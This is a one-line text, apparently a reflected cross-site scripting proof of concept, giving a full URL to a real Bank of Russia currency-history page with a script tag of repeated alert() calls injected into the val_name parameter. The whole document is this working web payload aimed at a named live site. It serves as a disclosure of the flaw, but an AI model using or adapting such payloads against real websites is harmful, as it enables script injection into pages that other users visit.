PHP: http://cbr.ru/currency_base/dynamics.asp?VAL_NM_RQ=R01235&date_req1=19/12/2005&r1=1&date_req2=19/12/2006&C_month=12&C_year=2006&rt=1&mode=2&val_name=<script>alert();alert();alert();alert();alert();alert();alert();alert();alert();alert();alert();</script>